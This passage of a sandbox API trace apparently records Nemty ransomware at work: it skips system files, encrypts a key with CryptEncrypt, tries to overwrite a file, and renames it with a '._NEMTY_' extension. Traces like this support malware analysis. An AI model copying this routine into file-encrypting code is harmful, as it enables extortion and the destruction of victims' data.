cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0208.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm471-B5-H", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKm471-B5-H", lpUsedDefaultChar=0x0) returned 11 [0208.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0208.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm471-B5-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0208.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm471-B5-H", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKm471-B5-H", lpUsedDefaultChar=0x0) returned 11 [0208.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0208.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm471-B5-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0208.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm471-B5-H", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKm471-B5-H", lpUsedDefaultChar=0x0) returned 11 [0208.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm471-B5-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0208.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm471-B5-H", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKm471-B5-H", lpUsedDefaultChar=0x0) returned 11 [0208.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0208.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0208.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0208.137] Sleep (dwMilliseconds=0x5) [0208.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2fb42df0, dwHighDateTime=0x1d561e8)) [0208.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2fb42df0, dwHighDateTime=0x1d561e8)) [0208.149] GetLastError () returned 0x5 [0208.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0208.149] GetLastError () returned 0x5 [0208.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0208.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0208.149] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0208.149] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0208.149] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0208.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0208.149] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="WXXhPQlJxN0fAa3JA39s51KDU6SYG1WefS0g0b6gukNMg2rSkMmHioYnmdXo4JKd\r\nHl2kQecVo21gJVNXz5hJ+NkMW+NGfnYdXND4fcCtl5vIZ+ioI+KTFFvQkbVwaLO5\r\nF+Tm0q+T+Yfe/qM6i0I0duK0CqekIm46N+y2/b7/IIH4kZlf+PmVg3uoDDAF0rdY\r\nm/+DQAIjiIkGbOFoyWxFcNJYQcmPsXbwG5VB4r4fIHFymQ0JvV5R3Ky5RF7DHuEs\r\nFBuWcEX0qFvezRX10jCPGc+UtEQjOTKf6VyeaSAnWfmmsXhE146E4MADkVMlTqVN\r\n2nSNR3rM/XbD0UX/2GHiaA==\r\n", pcchString=0x653e91c) returned 1 [0208.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0208.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0208.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0208.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0208.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0208.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0208.149] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm471-b5-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0208.150] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0208.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0208.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.150] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.159] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.159] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.169] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.169] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.179] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.179] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.189] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.189] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.198] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.208] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.208] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.227] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.227] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.237] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.237] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.246] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.246] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.255] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.255] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.266] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.266] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.272] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.272] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0208.273] CloseHandle (hObject=0xffffffff) returned 0 [0208.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0208.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0208.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0208.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0208.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0208.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0208.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0208.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0208.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0208.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0208.273] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm471-b5-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm471-b5-h._nemty_kgobjgd_")) returned 0 [0208.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0208.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0208.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0208.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0208.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0208.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0208.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0208.273] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc21, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm471-B5-V", cAlternateFileName="HKM471~2")) returned 1 [0208.273] lstrcmpiW (lpString1="HKm471-B5-V", lpString2=".") returned 1 [0208.273] lstrcmpiW (lpString1="HKm471-B5-V", lpString2="..") returned 1 [0208.274] lstrcmpiW (lpString1="HKm471-B5-V", lpString2="...") returned 1 [0208.274] lstrcmpiW (lpString1="HKm471-B5-V", lpString2="windows") returned -1 [0208.274] lstrcmpiW (lpString1="HKm471-B5-V", lpString2="$RECYCLE.BIN") returned 1 [0208.274] lstrcmpiW (lpString1="HKm471-B5-V", lpString2="rsa") returned -1 [0208.274] lstrcmpiW (lpString1="HKm471-B5-V", lpString2="NTDETECT.COM") returned -1 [0208.274] lstrcmpiW (lpString1="HKm471-B5-V", lpString2="ntldr") returned -1 [0208.274] lstrcmpiW (lpString1="HKm471-B5-V", lpString2="MSDOS.SYS") returned -1 [0208.274] lstrcmpiW (lpString1="HKm471-B5-V", lpString2="IO.SYS") returned -1 [0208.274] lstrcmpiW (lpString1="HKm471-B5-V", lpString2="boot.ini") returned 1 [0208.274] lstrcmpiW (lpString1="HKm471-B5-V", lpString2="boot.ini") returned 1 [0208.274] lstrcmpiW (lpString1="HKm471-B5-V", lpString2="AUTOEXEC.BAT") returned 1 [0208.274] lstrcmpiW (lpString1="HKm471-B5-V", lpString2="ntuser.dat") returned -1 [0208.274] lstrcmpiW (lpString1="HKm471-B5-V", lpString2="desktop.ini") returned 1 [0208.274] lstrcmpiW (lpString1="HKm471-B5-V", lpString2="CONFIG.SYS") returned 1 [0208.274] lstrcmpiW (lpString1="HKm471-B5-V", lpString2="RECYCLER") returned -1 [0208.274] lstrcmpiW (lpString1="HKm471-B5-V", lpString2="BOOTSECT.BAK") returned 1 [0208.274] lstrcmpiW (lpString1="HKm471-B5-V", lpString2="bootmgr") returned 1 [0208.274] lstrcmpiW (lpString1="HKm471-B5-V", lpString2="programdata") returned -1 [0208.274] lstrcmpiW (lpString1="HKm471-B5-V", lpString2="appdata") returned 1 [0208.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm471-B5-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0208.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm471-B5-V", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKm471-B5-V", lpUsedDefaultChar=0x0) returned 11 [0208.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0208.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm471-B5-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0208.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm471-B5-V", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKm471-B5-V", lpUsedDefaultChar=0x0) returned 11 [0208.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0208.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm471-B5-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0208.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm471-B5-V", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKm471-B5-V", lpUsedDefaultChar=0x0) returned 11 [0208.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm471-B5-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0208.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm471-B5-V", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKm471-B5-V", lpUsedDefaultChar=0x0) returned 11 [0208.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0208.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0208.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0208.275] Sleep (dwMilliseconds=0x5) [0208.324] GetSystemTimeAsFileTime (in: 